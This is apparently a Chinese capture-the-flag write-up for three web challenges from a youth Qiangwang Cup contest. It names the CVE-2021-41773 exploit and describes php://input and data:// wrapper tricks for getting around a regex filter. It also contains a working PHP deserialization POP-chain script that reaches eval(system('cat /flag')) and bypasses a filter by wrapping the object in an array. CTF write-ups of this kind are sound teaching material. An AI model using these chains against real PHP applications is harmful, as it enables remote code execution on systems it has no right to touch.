强网杯青少年wp
web1
由题目提示可知存在CVE-2021-41773漏洞
上网查阅资料获得payload
使用burpsuite完成命令执行
web2
F12查看题目源代码发现注释提示存在cream.php
进行代码审计
使用伪协议绕过正则
使用php://input接受数据流 使用data://协议将命令执行代码base64绕过正则
实现代码执行
最后执行cat /flag获得flag
web3
打开网页发现没有内容
根据经验访问/www.zip 获得源代码
发现为PHP反序列化
使用数组绕过正则判断
Get传参data 完成命令执行
Cat /flag获得flag
脚本如下
class Water{
public $waterfall;
public function __construct(){
$this->waterfall = array();
}
public function __get($value){
$function = $this->waterfall;
return $function();
}
}
class Circle{
public $daemon;
protected $dash="system('cat /flag');";
public function __toString(){
return $this->daemon;
}
public function runc($value){//出口
@eval($value);
}
public function __invoke(){
$this->runc($this->dash);
}
}
class Range{
public $horis;
public $link;
public function __construct($link="link"){
$this->link = $link;
echo $link;
}
public function __toString(){
return $this->link->horis;
}
}
class Sliver{
public $secret;
public $resty;
public function __construct($nice="wow"){
$this->secret = $nice;
//echo "My secert --- ".$this->secret."<br>";
}
public function __destruct(){ //入口
if(preg_match("/circle|gopher|http|file|ftp|https|dict|\.\./i", $this->secret)) {
echo "no~no~no~";
}
}
function __wakeup(){
if ($this->secret != 'circle') {
$this->secret = 'circle';
}
}
}
/*
$data = @$_GET['data'];
if(isset($data)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$q);
foreach($q as $v)
{
if(preg_match("/^O/i",$v))
{
die('YOU ARE hacker!!!');
exit();
}
}
unserialize($data);
}
*/
$Circle=new Circle();
//$Circle->dash="echo '1';";
$Water=new Water();
$Water->waterfall=$Circle;
$secret=new Range();
$secret->link=$Water;
$Sliver=new Sliver($secret);
$strr=array();
$strr[]=$Sliver;
$str=serialize($strr);
echo urlencode($str);